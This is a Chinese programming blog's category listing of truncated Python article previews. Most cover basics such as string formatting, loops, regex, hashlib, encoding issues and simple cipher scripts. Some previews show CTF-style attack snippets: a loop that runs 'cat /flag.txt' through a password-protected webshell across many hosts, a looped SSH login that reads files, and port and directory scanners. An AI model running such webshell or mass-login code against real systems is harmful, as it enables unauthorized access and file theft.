Python
文章平均质量分 88
python hacking
1stPeak
天行健,君子以自强不息;地势坤,君子以厚德载物。
展开
-
Windows同时安装Python2和Python3
Windows同时安装Python2和Python3原创 2020-07-30 13:49:55 · 549 阅读 · 0 评论 -
Python:%s
python中的%s理解:%s是打印字符串的意思向下方的举例:print ("His name is %s" % "张三")输出:His name is 张三print ("%s,My name is %s" % ("Hello","1stPeak"))输出:Hello,My name is 1stPeak%s相当于就是替换的意思,以第一个为例,print (“His name ...原创 2020-04-10 21:04:37 · 863 阅读 · 0 评论 -
Python:for循环+else与continue+break小总结
以往的笔记,记录一下前言一、for循环简介:for i in xx,表示i依次一个个将xx里面的值取出来二、for…else…1、简介:for也可以和else使用什么时候用这个else?当for j in xx时xx中没有数据或依次取完了,就会使用else这一种格式,是Python所独有的for i in range(0,2): print 1else: ...原创 2020-04-09 23:04:58 · 2341 阅读 · 2 评论 -
Python3爬虫之中文乱码问题分析与解决方法
前言 分析 解决方法 前言:今天简单爬取一个网页的源代码时,发现出现了乱码python代码:import requestsreq = requests.get("http://www.ccit.js.cn")req_text = req.textprint(req_text)部分截图: 分析:出现这样的情况是什么原因呢?(1)我们先来测试一下python3...原创 2019-06-15 20:19:23 · 7109 阅读 · 7 评论 -
Python3.7模块之re
一、特殊字符(这里列出常用的)参考于:https://docs.python.org/zh-cn/3/library/re.html符号释义普通字符匹配自身.(点) 在默认模式,匹配除了换行的任意字符。如果指定了标签 DOTALL ,它将匹配包括换行符的任意字符。^(插入符号) 匹配字符串的开头, 并且在 MULTILINE 模式也匹配换行后的首个符号,举例...原创 2019-05-04 02:18:33 · 9891 阅读 · 1 评论 -
Python基础笔记
一、转义符号:\#举例:#1.print("I'm OK")#结果:I'm OK#2.如果我们给OK加" "呢print("I'm "OK"") #这样就会报错,因为前面和后面的双引号分别被闭合了,那么这个OK现在既不是数字也不是字符串#这时就需要转义字符\,\放在需要被转义字符的前面print("I'm \"OK\"")#结果:I'm "OK"#3.如果我们不希望\充...原创 2019-04-30 22:18:13 · 614 阅读 · 0 评论 -
Python3.7模块之hashlib
update()不支持将字符串对象引入,因为哈希在字节上工作,而不在字符上工作。所以update后面的括号里只能是字节(bytes)形式import hashlibmd=hashlib.md5()md.update("你好")md=md.hexdigest()print(md)出现以下错误:D:\PycharmProjects\untitled\venv\Scripts\pyt...原创 2019-05-01 13:37:07 · 5661 阅读 · 0 评论 -
Python编写自动化脚本(无验证码)
一、模拟登陆打开登陆界面,F12,打开开发者工具(大部分浏览器都自带),选择Network,如果没有显示,就把该页面刷新一下我这里登陆的网站是http://39.106.4.51/?q=custom_user_login输入账号,密码(这里我的密码填写的1,用做测试),原本很短的密码却变得很长,这里我们就有一个猜想,这里的password值在客户端进行了加密,所以我们右键审查该passwo...原创 2019-05-04 22:28:05 · 6516 阅读 · 12 评论 -
Pycharm无法安装第三方模块(模块已存在/换源)
Pycharm安装第三方模块时出现如下提示这里就是告诉你,pip版本太低了,需要升级(cmd升级方法如下)pycharm升级方法如下最后还是安装不了我的hashlib最后在一个贴吧里看到hashlib是Python里自带的…服了…所以,之后安装不了的原因我也就没有详细研究,直接import了,如有知道原因或解决办法的大牛,还望评论指教,谢谢~注释:以后用模板是时,一定要先看...原创 2019-04-27 15:26:52 · 4715 阅读 · 0 评论 -
自动利用webshell执行系统命令py脚本
python2脚本# -*- coding: utf-8 -*-import urllib.requestimport threadingdef cat_flag(): cmd = "cat%20/flag.txt" # 还可用cut -c1- /flag.txt path = "shell.php" passwd = "peak" for i in r...原创 2020-03-06 18:09:53 · 745 阅读 · 0 评论 -
ssh连接+执行系统命令
# -*- coding: utf-8 -*-import paramiko# 服务器相关信息,下面输入你个人的用户名、密码、ip等信息def ssh_connect_cat_flag(): for i in range (130,136): ip = "192.168.100."+str(i) try: port = 22 ...原创 2020-03-06 18:05:14 · 315 阅读 · 0 评论 -
rot13解密脚本
def Upper(ch): if ch >= 'A' and ch <= 'Z': return Truedef Lower(ch): if ch >= 'a' and ch <= 'z': return Truedef rot13(s): flag = '' for i in s: ...转载 2020-03-06 18:03:42 · 1074 阅读 · 0 评论 -
摩斯密码(加密/解密)脚本
# v1.1# encode时会将非ANSII字符变为空格# decode时会跳过非ANSII字符class MorseCoder: __encode_alphabet = {"A": ".-", "B": "-...", "C": "-.-.", "D": "-..", # 加密对照表 "E": ".", "F": "..-.",...转载 2020-03-06 18:01:08 · 2685 阅读 · 0 评论 -
md5加密脚本
md5加密# -*- coding: utf-8 -*-import hashlibdef md5value(value): md5 = hashlib.md5() md5.update(value) return md5.hexdigest()#对字典中的值进行加密def md5encode(): code=input("请输入明文:") cl...原创 2020-03-06 17:59:36 · 888 阅读 · 0 评论 -
Python--简单的端口扫描脚本
#!/usr/bin/env python3# -*- coding: utf-8 -*-# Author:1stPeakimport socket #导入socket模块def common_port_scan(hosts,common_ports): #定义一个common_port_scan函数 ...原创 2019-07-11 20:44:26 · 822 阅读 · 0 评论 -
Python--简单的目录扫描脚本
#!/usr/bin/env python3# -*- coding: utf-8 -*-# Author:1stPeakimport requests #导入requests模块def read_file(filepath): #定义一个rea...原创 2019-07-11 20:38:10 · 1620 阅读 · 0 评论